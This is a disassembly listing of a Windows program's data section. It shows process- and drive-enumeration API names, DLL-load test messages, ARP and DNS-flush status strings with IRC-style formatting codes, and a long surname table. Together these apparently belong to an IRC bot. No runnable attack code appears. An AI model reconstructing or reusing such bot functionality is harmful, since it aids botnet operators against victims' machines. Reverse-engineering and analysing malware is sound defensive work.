aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_432C30	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_432DC0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_432DF0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_432E20	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_432E44	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_432E8C	dd 0			; DATA XREF: sub_40B08D+7o
off_432E90	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_432EF8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_432F04	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
